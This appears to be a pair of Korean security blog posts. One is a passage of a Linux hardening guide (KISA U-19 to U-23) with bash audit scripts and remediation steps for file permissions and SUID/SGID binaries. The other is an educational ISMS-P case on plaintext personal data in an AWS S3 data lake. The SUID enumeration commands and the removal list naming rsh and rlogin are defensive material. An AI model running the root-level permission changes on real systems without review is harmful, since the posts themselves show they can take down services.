    # [상세 해설] 그룹(Group) 권한 3자리 문자열 슬라이싱
    PERM_G=$(echo "$PERMS" | cut -c 5-7)
    # [상세 해설] 기타 사용자(Other) 권한 3자리 문자열 슬라이싱
    PERM_O=$(echo "$PERMS" | cut -c 8-10)

    # [상세 해설] 소유자가 root이며 그룹과 기타 사용자에 모든 권한(---)이 제거되었는지(600 이하) 검증
    if [ "$OWNER" == "root" ] && [[ "$PERM_G" == "---" && "$PERM_O" == "---" ]]; then
        OK "/etc/hosts 파일 소유자가 root이고, 권한이 600 이하입니다." "소유자: $OWNER, 권한: $PERMS"
    else
        WARN "/etc/hosts 파일의 소유자가 root가 아니거나, 권한이 600을 초과합니다." "소유자: $OWNER, 권한: $PERMS"
    fi
else
    WARN "/etc/hosts 파일이 존재하지 않습니다." "파일 누락"
fi
FINISH "[ U-19 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: KISA 가이드(600 권한)를 준수하여 chmod 600 /etc/hosts를 적용할 경우, 일반 계정 권한으로 동작하는 웹 애플리케이션(예: Tomcat, Nginx, Node.js 데몬) 또는 컨테이너 프로세스가 로컬 루프백(localhost, 127.0.0.1) 해석에 실패하여 내부 DB 연결 실패나 네트워크 장애를 유발할 수 있습니다.
안전성 검증 절차: 권한 변경 후 즉시 비인가 일반 계정으로 전환하여 호스트명 해석이 정상 동작하는지 테스트합니다.
```
su - nobody -s /bin/bash -c "getent hosts localhost"
```
대안 권장 아키텍처: MSA 또는 WAS 데몬이 일반 사용자로 격리 구동되는 환경에서는 쓰기 권한만 제한하고 읽기 권한을 허용하는 644(-rw-r--r--) 권한을 표준으로 정의하거나, Ansible 플레이북을 통해 파일 무결성을 실시간 검증하는 방식을 권장합니다.

④ 안전한 조치 절차

# 1. 파일 백업
cp -p /etc/hosts /etc/hosts.bak_$(date +%Y%m%d)

# 2. 소유자 및 권한 수정 (보안 권고: root 소유, 600 이하 또는 서비스 환경에 맞춘 644)
chown root:root /etc/hosts
chmod 600 /etc/hosts

# 3. 권한 변경 결과 확인
ls -l /etc/hosts

2.2. [U-20] /etc/(x)inetd.conf 파일 소유자 및 권한 설정

① 점검 목적 및 개요

inetd 및 xinetd는 네트워크 요청을 리스닝하여 하위 서브 데몬을 실행시키는 수퍼 데몬입니다. 이 설정 파일이 변조되면 비인가 악성 서비스가 백그라운드로 자동 구동되거나 서비스 거부(DoS) 상태를 유발할 수 있으므로, root 전용 접근 권한(600)을 설정해야 합니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-20 점검 코드 식별자 선언
CODE "[ U-20 ] /etc/(x)inetd.conf 파일 소유자 및 권한 설정"

# [상세 해설] 레거시 슈퍼 데몬 설정 파일 경로 목록 정의
INET_FILES="/etc/inetd.conf /etc/xinetd.conf"
CHECKED="FALSE"
VULN_MSG=""

# [상세 해설] 각 설정 파일의 존재 여부 및 권한을 루프 순회하여 확인
for f in $INET_FILES; do
    if [ -f "$f" ]; then
        CHECKED="TRUE"
        OWNER=$(ls -l "$f" | awk '{print $3}')
        PERMS=$(ls -l "$f" | awk '{print $1}')
        PERM_G=$(echo "$PERMS" | cut -c 5-7)
        PERM_O=$(echo "$PERMS" | cut -c 8-10)

        # [상세 해설] 소유자가 root가 아니거나 그룹/기타 권한이 '---'가 아닌 경우 취약 문자열에 추가
        if [ "$OWNER" != "root" ] || [[ "$PERM_G" != "---" || "$PERM_O" != "---" ]]; then
            VULN_MSG="$VULN_MSG $f(소유자:$OWNER, 권한:$PERMS)"
        fi
    fi
done

# [상세 해설] 파일 미존재(최신 systemd 환경) 시 양호 처리, 취약 발견 시 경고 출력
if [ "$CHECKED" == "FALSE" ]; then
    OK "/etc/inetd.conf 및 /etc/xinetd.conf 파일이 존재하지 않습니다." "해당 네트워크 서비스(슈퍼 데몬) 미사용 환경"
elif [ -n "$VULN_MSG" ]; then
    WARN "inetd/xinetd 관련 파일의 소유자 또는 권한이 취약합니다. (기준: root, 600 이하)" "취약 발견: [ $VULN_MSG ]"
else
    OK "inetd/xinetd 설정 파일의 소유자(root) 및 권한(600 이하)이 안전합니다." "모든 관련 파일 정상"
fi
FINISH "[ U-20 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: RHEL 8/9, Ubuntu 22.04 등 최신 OS는 systemd 소켓 기반 아키텍처를 기본 채택하므로 xinetd를 거의 사용하지 않습니다. 그러나 레거시 환경에서 xinetd 사용 시 /etc/xinetd.conf 외에 /etc/xinetd.d/ 디렉터리 내 개별 서비스 설정 파일의 권한을 누락하여 취약점으로 지적되는 경우가 빈번합니다.
안전성 검증 절차: 설정 파일 권한 수정 후 슈퍼 데몬 서비스의 문법 정상 동작 여부를 확인합니다.
```
xinetd -d 2>&1 | head -n 10
```
대안 권장 아키텍처: 슈퍼 데몬 의존 서비스를 점진적으로 독립적인 systemd 서비스(*.service 및 *.socket)로 전환하고 패키지 자체를 삭제(yum remove xinetd)하는 것이 바람직합니다.

④ 안전한 조치 절차

# 1. 대상 파일 백업
[ -f /etc/xinetd.conf ] && cp -p /etc/xinetd.conf /etc/xinetd.conf.bak_$(date +%Y%m%d)
[ -d /etc/xinetd.d ] && cp -rp /etc/xinetd.d /etc/xinetd.d.bak_$(date +%Y%m%d)

# 2. 소유자 및 권한 설정 (600 적용)
if [ -f /etc/xinetd.conf ]; then
    chown root:root /etc/xinetd.conf
    chmod 600 /etc/xinetd.conf
fi

if [ -d /etc/xinetd.d ]; then
    chown -R root:root /etc/xinetd.d
    chmod 600 /etc/xinetd.d/*
fi

# 3. 서비스 리로드 (xinetd 구동 중인 경우)
systemctl reload xinetd 2>/dev/null || systemctl restart xinetd 2>/dev/null

2.3. [U-21] /etc/(r)syslog.conf 파일 소유자 및 권한 설정

① 점검 목적 및 개요

시스템 로그 데몬 설정 파일(/etc/rsyslog.conf 등)은 로그 저장 위치, 로깅 레벨, 원격 SIEM 전송 규칙을 정의합니다. 해당 설정이 비인가자에 의해 변조되면 보안 감사 로그 저장이 누락되거나 침입 흔적이 삭제될 수 있습니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-21 점검 코드 식별자 선언
CODE "[ U-21 ] /etc/(r)syslog.conf 파일 소유자 및 권한 설정"

# [상세 해설] 전통적인 syslog 및 최신 rsyslog 설정 경로 지정
SYSLOG_FILES="/etc/syslog.conf /etc/rsyslog.conf"
CHECKED="FALSE"
VULN_MSG=""

# [상세 해설] 설정 파일별 소유자 및 권한 추출 검증
for f in $SYSLOG_FILES; do
    if [ -f "$f" ]; then
        CHECKED="TRUE"
        OWNER=$(ls -l "$f" | awk '{print $3}')
        PERMS=$(ls -l "$f" | awk '{print $1}')
        PERM_G=$(echo "$PERMS" | cut -c 5-7)
        PERM_O=$(echo "$PERMS" | cut -c 8-10)

        # [상세 해설] 소유자가 root가 아니거나, 그룹에 쓰기/실행 권한이 있거나, 기타 사용자에게 권한이 부여된 경우 취약 처리 (640 초과)
        if [ "$OWNER" != "root" ] || echo "$PERM_G" | grep -q "[wx]" || [[ "$PERM_O" != "---" ]]; then
            VULN_MSG="$VULN_MSG $f(소유자:$OWNER, 권한:$PERMS)"
        fi
    fi
done

# [상세 해설] 진단 결과 판정 분기
if [ "$CHECKED" == "FALSE" ]; then
    INFO "syslog/rsyslog 설정 파일을 찾을 수 없습니다." "OS 기본 로깅 체계(systemd-journald 등) 환경 수동 확인 요망"
elif [ -n "$VULN_MSG" ]; then
    WARN "syslog 관련 파일의 소유자 또는 권한이 취약합니다. (기준: root, 640 이하)" "취약 발견: [ $VULN_MSG ]"
else
    OK "syslog 설정 파일의 소유자(root) 및 권한(640 이하)이 안전합니다." "모든 관련 파일 정상"
fi
FINISH "[ U-21 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: Ubuntu/Debian 계열 OS에서는 rsyslog 데몬이 syslog 계정으로 실행됩니다. 설정 파일 및 로그 파일의 권한을 무리하게 root:root 600으로 일괄 변경할 경우 rsyslog 프로세스가 파일을 읽지 못해 서비스가 기동 실패(Failed) 상태로 빠집니다.
안전성 검증 절차: 설정 변경 후 반드시 rsyslog 자체 문법 검증 플래그를 실행하여 오류를 사전에 방지합니다.
```
rsyslogd -N1
```
대안 권장 아키텍처: Ubuntu 환경의 경우 소유자를 root:syslog로 지정하고 권한은 640(-rw-r-----)으로 유지하여 데몬 권한과 보안 요구사항을 동시에 충족시킵니다.

④ 안전한 조치 절차

# 1. 파일 백업
[ -f /etc/rsyslog.conf ] && cp -p /etc/rsyslog.conf /etc/rsyslog.conf.bak_$(date +%Y%m%d)
[ -d /etc/rsyslog.d ] && cp -rp /etc/rsyslog.d /etc/rsyslog.d.bak_$(date +%Y%m%d)

# 2. 소유자 및 권한 부여 (RHEL 계열: root:root / Debian 계열: root:syslog 고려)
chown root:root /etc/rsyslog.conf
chmod 640 /etc/rsyslog.conf

if [ -d /etc/rsyslog.d ]; then
    chown -R root:root /etc/rsyslog.d
    chmod 640 /etc/rsyslog.d/*.conf 2>/dev/null
fi

# 3. 설정 문법 유효성 검증
rsyslogd -N1

# 4. 서비스 재시작
systemctl restart rsyslog

2.4. [U-22] /etc/services 파일 소유자 및 권한 설정

① 점검 목적 및 개요

/etc/services 파일은 포트 번호와 네트워크 서비스 이름 간의 매핑 테이블을 제공합니다. 악의적인 사용자가 이 파일을 변조하여 표준 포트 번호(예: 22, 80) 매핑을 변경할 경우 정상적인 네트워크 서비스 기동 실패 또는 비인가 서비스로의 트래픽 리다이렉션이 발생할 수 있습니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-22 점검 코드 식별자 선언
CODE "[ U-22 ] /etc/services 파일 소유자 및 권한 설정"

# [상세 해설] /etc/services 파일 존재 유무 검증
if [ -f /etc/services ]; then
    OWNER=$(ls -l /etc/services | awk '{print $3}')
    PERMS=$(ls -l /etc/services | awk '{print $1}')
    PERM_G=$(echo "$PERMS" | cut -c 5-7)
    PERM_O=$(echo "$PERMS" | cut -c 8-10)

    # [상세 해설] 그룹 및 기타 사용자에게 쓰기(w) 및 실행(x) 권한이 없는지(644 이하) 검증
    if [ "$OWNER" == "root" ] && ! echo "$PERM_G" | grep -q "[wx]" && ! echo "$PERM_O" | grep -q "[wx]"; then
        OK "/etc/services 파일 소유자가 root이고, 권한이 644 이하입니다." "소유자: $OWNER, 권한: $PERMS"
    else
        WARN "/etc/services 파일의 소유자가 root가 아니거나, 권한이 644를 초과합니다." "소유자: $OWNER, 권한: $PERMS"
    fi
else
    WARN "/etc/services 파일이 존재하지 않습니다." "파일 누락"
fi
FINISH "[ U-22 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 관리자가 보안을 강화하겠다는 목적으로 /etc/services의 권한을 600 또는 640으로 축소하여 일반 계정의 읽기 권한을 차단하는 경우가 있습니다. 이 경우 getservbyname() C 라이브러리 함수를 호출하는 모든 일반 프로세스(DB 클라이언트, 모니터링 에이전트 등)에서 서비스 이름 해석 오류가 발생하여 서비스 장애로 직결됩니다.
안전성 검증 절차: 권한 변경 후 getent 명령을 사용하여 정상 조회가 가능한지 즉시 검증합니다.
```
getent services ssh
getent services http
```
대안 권장 아키텍처: 해당 파일은 시스템 표준 참조 데이터이므로 쓰기 권한만 완전히 제거된 644(-rw-r--r--) 상태를 기본 정책으로 유지해야 합니다.

④ 안전한 조치 절차

# 1. 파일 백업
cp -p /etc/services /etc/services.bak_$(date +%Y%m%d)

# 2. 소유자 및 권한 설정 (644 필수)
chown root:root /etc/services
chmod 644 /etc/services

# 3. 설정 상태 검증
ls -l /etc/services
getent services 22/tcp

2.5. [U-23] SUID, SGID, Sticky bit 설정 파일 점검

① 점검 목적 및 개요

SUID(4000) 및 SGID(2000) 비트가 부여된 바이너리는 일반 사용자가 실행하더라도 소유자(주로 root)의 권한으로 실행됩니다. 불필요한 시스템 유틸리티에 SUID/SGID가 남아있거나 공격자가 취약한 바이너리를 악용할 경우 로컬 권한 상승(Local Privilege Escalation) 경로로 악용됩니다.

② 자동 진단 스크립트 분석

# [상세 해설] U-23 점검 코드 식별자 선언
CODE "[ U-23 ] SUID, SGID, Sticky bit 설정 파일 점검"

# [상세 해설] 검색 대상 주요 시스템 및 데이터 파티션 디렉터리 지정
TARGET_DIRS="/ /usr /bin /sbin /home /var /tmp /opt"

# [상세 해설] find 명령어로 root 소유의 SUID/SGID 파일 검색 (타임아웃 60초 및 xdev 마운트 격리 적용)
SUID_FILES=$(EXEC_TIMEOUT 60 "find $TARGET_DIRS -xdev -user root -type f \( -perm -04000 -o -perm -02000 \) 2>/dev/null | head -n 5 | xargs")
EXIT_CODE=$?

# [상세 해설] 검색 타임아웃 발생 및 탐지 결과에 따른 분기 처리
if [ "$EXIT_CODE" -eq 124 ]; then
    INFO "SUID/SGID 파일 검색 중 응답 지연(60초 초과)이 발생하여 점검을 중단했습니다." "수동 점검 요망"
elif [ -n "$SUID_FILES" ]; then
    INFO "로컬 파티션 내에 SUID/SGID가 설정된 파일이 발견되었습니다. 불필요한 파일인지 수동 검토가 필요합니다." "발견된 파일(최대 5개): [ $SUID_FILES ]"
else
    OK "지정된 파티션 내에 불필요한 SUID/SGID가 설정된 파일이 발견되지 않았습니다." "안전한 권한 설정 확인"
fi
FINISH "[ U-23 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 일괄 스크립트를 작성하여 시스템 내 모든 SUID 비트를 일괄 제거(chmod -s)하는 치명적인 실수가 종종 발생합니다. passwd, sudo, su, gpasswd, newgrp 등의 필수 바이너리에서 SUID가 제거되면 일반 사용자의 비밀번호 변경이 불가능해지거나 관리자 권한 상승(sudo)이 불가능하여 전체 인프라 운영 마비가 초래됩니다.
주요 제거 권고 대상 목록:
- /usr/bin/traceroute, /usr/bin/wall, /usr/bin/write
- /usr/bin/rlogin, /usr/bin/rsh, /usr/bin/rcp
- /sbin/netreport, /usr/sbin/usernetctl
안전성 검증 절차: 권한 제거 전 목록을 백업하고, 제거 후 일반 계정에서 sudo 및 passwd가 정상 구동되는지 즉시 검증합니다.
```
su - testuser -c "passwd --status"
```

④ 안전한 조치 절차

# 1. 시스템 내 전체 SUID/SGID 파일 현황 백업 및 기록
find / -xdev -type f \( -perm -04000 -o -perm -02000 \) -ls > /root/suid_list_$(date +%Y%m%d).txt 2>/dev/null

# 2. 업무상 불필요한 바이너리의 SUID/SGID 제거 예시
chmod -s /usr/bin/traceroute 2>/dev/null || true
chmod -s /usr/bin/write 2>/dev/null || true
chmod -s /usr/bin/wall 2>/dev/null || true

# 3. 변경 결과 확인
ls -l /usr/bin/traceroute /usr/bin/write /usr/bin/wall

3. 스크립트 한계점 분석 및 예외 처리 개선 제안

3.1. 기술적 한계점 분석

Include 분할 설정 디렉터리 미검색 문제:
- 최신 Linux 배포판은 단일 설정 파일 대신 /etc/rsyslog.d/*.conf, /etc/xinetd.d/*와 같이 디렉터리 분할 방식을 표준으로 사용합니다. 기존 스크립트는 단일 설정 파일만 검사하여 서브 디렉터리의 취약 권한을 오탐하거나 누락할 수 있습니다.
원격 네트워크 파일시스템(NFS/CIFS) 부하 문제:
- U-23 항목의 경우 대용량 NFS 마운트 포인트가 /mnt나 /data에 위치해 있을 때 -xdev 플래그가 개별 마운트 포인트를 완전히 커버하지 못하거나 I/O 병목을 유발할 수 있습니다.

3.2. 개선 코드 스니펫

# [개선 스니펫] *.d 디렉터리 내 분할 설정 파일까지 일괄 정밀 진단하는 로직
AUDIT_TARGETS="/etc/rsyslog.conf $(ls /etc/rsyslog.d/*.conf 2>/dev/null)"
for target in $AUDIT_TARGETS; do
    [ -f "$target" ] || continue
    # stat 명령어를 통한 8진수 권한 및 소유자 정밀 추출
    OCT_PERM=$(stat -c "%a" "$target")
    FILE_USER=$(stat -c "%U" "$target")
    if [ "$FILE_USER" != "root" ] || [ "$OCT_PERM" -gt 640 ]; then
        echo "[취약] $target (소유자: $FILE_USER, 권한: $OCT_PERM)"
    fi
done

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

Data Lake에 개인정보를 평문으로 저장해도 될까?

보안실무자J — Tue, 8 Sep 2026 09:56:26 +0900

※ 본 글은 ISMS-P 인증심사 및 개인정보보호 실무 학습을 위한 가상의 사례를 바탕으로 작성한 교육용 콘텐츠다. 특정 기업이나 실제 심사 결과를 의미하지 않는다. 시스템 구성, 인터뷰 내용, 증적 및 수치는 이해를 돕기 위해 가공한 예시다.

Data Lake에 개인정보를 평문으로 저장해도 될까?

— ISMS-P 2.7 관점에서 보는 클라우드 데이터 암호화 통제

AWS S3와 같은 클라우드 스토리지에 개인정보를 저장하고 Athena, Spark 등의 분석 도구로 활용하는 데이터레이크 환경이 빠르게 늘어나고 있다.

문제는 운영 DB에서는 보호되고 있던 개인정보가 분석이나 마케팅 연계를 위해 Data Lake로 이동하는 과정에서 평문으로 저장되는 경우다.

특히 다음과 같은 이유가 자주 등장한다.

분석 쿼리 성능을 높이기 위해
외부 CRM API와 바로 매칭하기 위해
복호화 과정에서 발생하는 처리시간을 줄이기 위해
기존 시스템과의 호환성을 유지하기 위해
데이터 처리 구조를 단순화하기 위해

그러나 업무상 필요성이 있다는 이유만으로 개인정보를 평문 상태로 저장해도 되는 것은 아니다.

이번 글에서는 가상의 전자책 플랫폼을 예로 들어 운영 DB → AWS S3 Data Lake → Athena → 외부 CRM으로 이어지는 개인정보 처리 흐름을 살펴보고, ISMS-P 암호화 적용 관점에서 어떤 부분을 확인해야 하는지 정리한다.

1. 가상 기업 및 운영 환경

1.1 기업 환경

구분	내용
기업	A사
서비스	전자책 구독 및 소장 플랫폼
회원 규모	약 350만 명
주요 개인정보	이메일, 휴대폰번호, 회원 식별자 등
운영 DB	AWS Aurora MySQL
Data Lake	AWS S3
분석	AWS Athena
ETL	PySpark
외부 연계	Cloud CRM
주요 목적	맞춤형 도서 추천 및 타겟 마케팅

A사는 사용자의 독서 패턴과 구매 이력을 활용한 맞춤형 추천 및 타겟 마케팅 서비스를 신규 도입했다.

전체적인 데이터 흐름은 다음과 같다.

[Aurora MySQL]
       │
       │ PySpark ETL
       ▼
[AWS S3 Data Lake]
       │
       ├── AWS Athena 분석
       │
       └── Target Group 추출
                  │
                  ▼
          [외부 Cloud CRM]
                  │
                  ├── Email
                  └── App Push

문제는 Aurora에서는 보호되고 있던 개인정보가 Data Lake에서는 평문으로 저장되는 구조가 만들어졌다는 점이다.

2. 현장에서 확인된 운영 관행

가상의 인터뷰에서는 다음과 같은 답변이 확인됐다.

“운영 DB에서는 개인정보를 보호하고 있으며 S3 역시 IAM과 버킷 접근제어를 적용하고 있다.”

여기까지만 보면 특별한 문제가 없어 보인다.

그러나 Data Lake 내부의 실제 데이터 처리 방식을 확인한 결과, S3의 analytics_user_profile 데이터셋에는 외부 CRM API와의 수신자 매칭을 위해 이메일과 휴대폰번호가 평문으로 저장되고 있었다.

운영 담당자는 그 이유를 다음과 같이 설명한다.

“추출 시점에 마스킹이나 해시를 적용하면 CRM에서 수신자를 식별하지 못하는 문제가 발생하기 때문에 Data Lake와 CRM 연동 구간에서는 원본 값을 유지하고 있다.”

여기서 중요한 것은 단순히 왜 평문을 사용했는가가 아니다.

다음 사항을 확인해야 한다.

해당 개인정보에 대해 암호화 정책과 위험분석 결과에 따른 보호조치가 실제 처리환경에 적용되어 있는가?

3. 데이터 처리 파이프라인에서 발생하는 문제

가상의 ETL 과정은 다음과 같다.

raw_user_df = spark.read.jdbc(
    jdbc_url,
    "user_master",
    properties=connection_properties
)

raw_reading_df = spark.read.jdbc(
    jdbc_url,
    "user_reading_log",
    properties=connection_properties
)

transformed_df = raw_user_df.join(
    raw_reading_df,
    "user_id",
    "inner"
).select(
    "user_id",
    "user_email",
    "phone_number",
    "age_group",
    "gender",
    "preferred_genre",
    "last_read_date"
)

transformed_df.write \
    .mode("overwrite") \
    .partitionBy("preferred_genre") \
    .parquet(
        "s3://analytics-datalake/user_profile/"
    )

이 구조에서는 다음과 같은 데이터가 Data Lake에 생성될 수 있다.

user_id
user_email
phone_number
age_group
gender
preferred_genre
last_read_date

특히 user_email과 phone_number가 원본 문자열 그대로 저장된다면 S3 객체 자체가 직접 식별 가능한 개인정보 저장소가 된다.

원문에서도 PySpark ETL 과정에서 이메일과 휴대폰번호를 평문 상태로 S3 Parquet 데이터셋에 저장하도록 구성되어 있다.

4. “S3 접근권한을 잘 막았으니 괜찮다”는 판단의 한계

현장에서 자주 나오는 설명 중 하나가 다음과 같다.

“S3 버킷은 외부 공개가 차단되어 있고 IAM 권한도 제한되어 있으므로 평문으로 저장해도 안전하다.”

하지만 암호화와 접근통제는 서로 대체 관계가 아니다.

예를 들어 다음과 같은 상황을 생각할 수 있다.

S3
 │
 ├─ IAM 권한
 │    └─ 분석팀 접근 가능
 │
 ├─ Athena
 │    └─ 쿼리 가능
 │
 └─ CRM Pipeline
      └─ 원본 데이터 접근

IAM 설정이 잘못되거나,

과도한 권한이 부여되거나
분석 계정이 탈취되거나
역할(Role)이 잘못 위임되거나
S3 객체가 다른 계정으로 공유되거나
ETL 작업 권한이 과도하게 부여되거나
데이터가 임시 스테이징 영역으로 복사되는 경우

평문 데이터가 그대로 노출될 가능성이 있다.

따라서 점검에서는 단순히

“S3가 외부에서 접근되지 않는다.”

만 확인할 것이 아니라,

개인정보가 저장·전송·전달되는 각 구간에 어떤 보호조치가 적용되어 있는가?

를 확인해야 한다.

5. ISMS-P에서는 어떤 기준을 확인해야 할까?

이 사례의 핵심 기준은 ISMS-P 2.7 암호화 적용이다.

현재 ISMS-P 인증기준에서도 2.7은 ‘암호화 적용’ 항목으로 구성되어 있다.

세부적으로는 다음 사항을 중심으로 확인할 필요가 있다.

암호정책 적용

암호화 대상이 정의되어 있는가?
관련 법적 요구사항을 반영했는가?
개인정보 유형별 암호화 기준이 있는가?
저장 시 암호화가 필요한 데이터가 정의되어 있는가?
전송·전달 구간에 암호화가 적용되는가?
안전한 암호 알고리즘 및 보안강도를 사용하는가?
암호화 예외가 있다면 근거와 승인절차가 있는가?

암호키 관리

암호키 관리절차가 존재하는가?
KMS 등 안전한 키 관리수단을 사용하는가?
키 접근권한이 최소화되어 있는가?
키의 생성·변경·폐기 절차가 존재하는가?
운영환경과 개발환경의 키가 분리되어 있는가?
키가 소스코드나 설정파일에 하드코딩되어 있지 않은가?

이 사례에서는 단순히 S3의 암호화 기능 활성화 여부만 확인할 것이 아니라 조직의 암호화 정책에서 해당 데이터와 처리구간을 어떻게 정의하고 있는지를 먼저 확인해야 한다.

6. 개인정보 보호법 제29조와 함께 확인해야 하는 이유

개인정보 보호법 제29조는 개인정보처리자가 개인정보의 유출 등을 방지하기 위해 대통령령에서 정하는 바에 따라 안전성 확보에 필요한 기술적·관리적·물리적 조치를 하도록 규정하고 있다. 현재 법령에도 이러한 안전조치의무가 규정되어 있다.

개인정보 보호법 시행령 제30조에서는 접근권한 제한 등 개인정보의 안전성 확보를 위한 구체적인 조치를 규정하고 있다.

또한 개인정보보호위원회는 2024년 「개인정보의 안전성 확보조치 기준 안내서」를 공개하면서 개정된 안전성 확보조치 기준과 문의사례 등을 반영했다고 안내하고 있다.

따라서 이 사례를 단순히

“S3에 평문 저장했으니 법 위반이다.”

라고 결론내리는 것은 적절하지 않다.

보다 정확한 접근은 다음과 같다.

해당 개인정보의 종류와 처리환경에 적용되는 안전조치 요구사항을 확인하고, 내부 암호화 정책 및 위험분석 결과에 따라 적절한 보호조치가 적용되어 있는지를 확인한다.

즉, 평문 저장이라는 사실 자체만으로 모든 법적 판단이 끝나는 것이 아니라 해당 환경에 요구되는 보호조치와 실제 운영상태를 함께 확인해야 한다.

7. 마스킹과 암호화는 같은 조치가 아니다

실무에서 자주 혼동하는 부분이다.

구분	목적	예시
마스킹	화면 등에서 개인정보 표시 제한	ab***@example.com
암호화	원본 데이터를 암호문으로 변환하여 보호	AES 등
해시	특정 값을 다른 값으로 변환	SHA-256
가명처리	추가정보 등을 이용하지 않고는 특정 개인을 알아보기 어렵게 처리	가명 식별자 등

따라서 다음과 같은 표현은 주의해야 한다.

“이메일을 화면에서 ab***@example.com으로 표시했으므로 암호화했다.”

이는 맞지 않다.

화면 마스킹은 표시 제한이고 저장 데이터에 대한 암호화와는 별개의 보호조치다.

원문에서도 웹 Dashboard에서는 이메일 일부를 마스킹하고 있었지만, 실제 S3 Parquet 데이터셋에서는 이메일과 휴대폰번호를 평문으로 유지하는 구조가 확인된다.

8. SHA-256을 적용하면 개인정보가 없어지는가?

이 역시 자주 나오는 오해다.

예를 들어 다음과 같이 처리했다고 가정한다.

.withColumn(
    "user_hash_id",
    sha2(col("user_id"), 256)
)

이렇게 생성된 값은 원래의 user_id 대신 사용할 수 있는 식별자로 활용할 수 있다.

하지만 단순히 SHA-256을 적용했다는 사실만으로 자동으로 가명처리가 완료되거나 개인정보 위험이 사라지는 것은 아니다.

특히 이메일이나 전화번호처럼 가능한 원본값의 범위가 제한된 데이터는 추측이나 대조를 통해 원본을 알아낼 가능성을 검토해야 한다.

따라서 실무에서는 다음을 함께 확인해야 한다.

어떤 값을 해시하는가?
Salt 또는 별도 비밀값을 사용하는가?
동일한 입력값이 항상 동일한 결과를 만들어야 하는가?
원본값과 결과값을 연결할 수 있는 추가정보가 존재하는가?
해당 결과값에 접근할 수 있는 사람은 누구인가?
다른 데이터셋과 결합했을 때 개인을 다시 식별할 가능성이 있는가?

즉,

“SHA-256 적용 = 안전”

이라는 단순한 공식으로 판단해서는 안 된다.

9. Data Lake에서는 저장영역을 분리하는 것이 중요하다

개인정보가 필요한 모든 분석 작업에 원본 이메일과 전화번호를 제공하는 구조는 피할 필요가 있다.

예를 들어 다음과 같이 영역을 구분할 수 있다.

                    ┌─────────────────────┐
                    │    Aurora MySQL     │
                    │  원본 개인정보 관리  │
                    └──────────┬──────────┘
                               │
                         ETL / 통제
                               │
                ┌──────────────▼──────────────┐
                │       Restricted Zone       │
                │ 최소한의 원본 개인정보      │
                │ 접근권한 최소화              │
                └──────────────┬──────────────┘
                               │
                       가명/분석 데이터
                               │
                ┌──────────────▼──────────────┐
                │       Analytics Zone        │
                │ 가명식별자 중심 분석         │
                │ Athena 조회                 │
                └──────────────┬──────────────┘
                               │
                       필요한 경우에만
                               │
                ┌──────────────▼──────────────┐
                │        CRM Zone             │
                │ 목적에 필요한 데이터만 전달 │
                └─────────────────────────────┘

핵심은 모든 데이터셋에서 동일한 수준의 개인정보를 사용할 필요가 없도록 설계하는 것이다.

분석업무에 이메일 주소가 필요하지 않다면 분석영역까지 원본 이메일을 전달하지 않는 것이 더 적절한 통제가 될 수 있다.

10. 외부 CRM 연동에서는 별도의 통제가 필요하다

외부 Cloud CRM을 사용한다면 암호화 문제만 확인해서는 부족하다.

다음 사항도 별도로 확인할 필요가 있다.

처리 목적

마케팅 목적의 개인정보 이용이 적법한가?
처리 목적과 실제 CRM 활용 범위가 일치하는가?

외부 제공·위탁

해당 CRM 사업자의 역할은 무엇인가?
개인정보 처리위탁에 해당하는가?
제3자 제공에 해당하는가?
계약 및 관리·감독 절차가 마련되어 있는가?

국외 이전

CRM 서비스의 데이터 저장 위치는 어디인가?
국외 이전이 발생하는가?
발생한다면 관련 절차가 적용되어 있는가?

전송구간

CRM API 통신구간이 안전하게 암호화되어 있는가?
API 인증정보와 키가 안전하게 관리되는가?
스테이징 영역에 생성된 파일은 언제 삭제되는가?

이 글의 가상 시나리오만으로는 위 사항의 구체적인 사실관계를 확인할 수 없으므로 별도의 검토 항목으로 분리하는 것이 적절하다.

11. 기술적으로는 “암호화 위치”를 설계해야 한다

암호화를 적용한다고 해서 모든 데이터를 동일한 방식으로 암호화하면 되는 것은 아니다.

예를 들어 분석용 데이터에 다음과 같은 구조가 있을 수 있다.

user_hash_id
email_ciphertext
phone_ciphertext
age_group
gender
preferred_genre
last_read_date

분석팀은 대부분의 작업에서 email_ciphertext, phone_ciphertext를 직접 사용할 필요가 없다.

따라서 Athena에서는 다음과 같이 분석용 View를 제공하는 방식도 검토할 수 있다.

CREATE VIEW analytics_user_summary AS
SELECT
    user_hash_id,
    age_group,
    gender,
    preferred_genre,
    last_read_date
FROM user_profile;

이렇게 하면 일반 분석업무에서 원본 이메일이나 전화번호에 직접 접근할 필요가 줄어든다.

12. CRM 발송 시에는 필요한 시점에만 식별정보를 사용한다

CRM 발송 때문에 이메일과 전화번호가 반드시 필요한 경우에도 전체 분석환경에 원본 개인정보를 노출할 필요는 없다.

예를 들어 다음과 같이 영역을 분리할 수 있다.

[Analytics]

user_hash_id
     │
     │ target_user 선정
     ▼
[Restricted CRM Mapping]
     │
     │ 필요한 사용자만 매핑
     ▼
email / phone
     │
     │ 암호화된 API 통신
     ▼
[External CRM]

이 구조의 핵심은 분석 목적과 발송 목적의 데이터 요구사항을 분리하는 것이다.

분석팀 전체가 이메일과 전화번호를 볼 필요가 없다면 해당 권한을 제공하지 않는 것이 바람직하다.

13. 암호키는 데이터와 분리해야 한다

